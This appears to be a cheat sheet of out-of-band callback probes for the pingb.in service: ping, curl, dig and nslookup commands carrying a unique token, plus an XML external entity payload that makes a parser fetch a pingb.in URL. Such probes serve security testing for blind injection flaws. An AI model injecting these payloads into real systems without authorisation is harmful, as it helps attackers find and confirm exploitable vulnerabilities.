$ ping -c1 -p 0063dd9f8460a05e575d701380a12000 pingb.in
 

$ curl pingb.in/p/63dd9f8460a05e575d701380a120
 

$ dig 63dd9f8460a05e575d701380a120 @pingb.in
 

$ dig 63dd9f8460a05e575d701380a120.ns.pingb.in
 

C:\> nslookup 63dd9f8460a05e575d701380a120 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/63dd9f8460a05e575d701380a120">]>
    <foo>&xxe;</foo>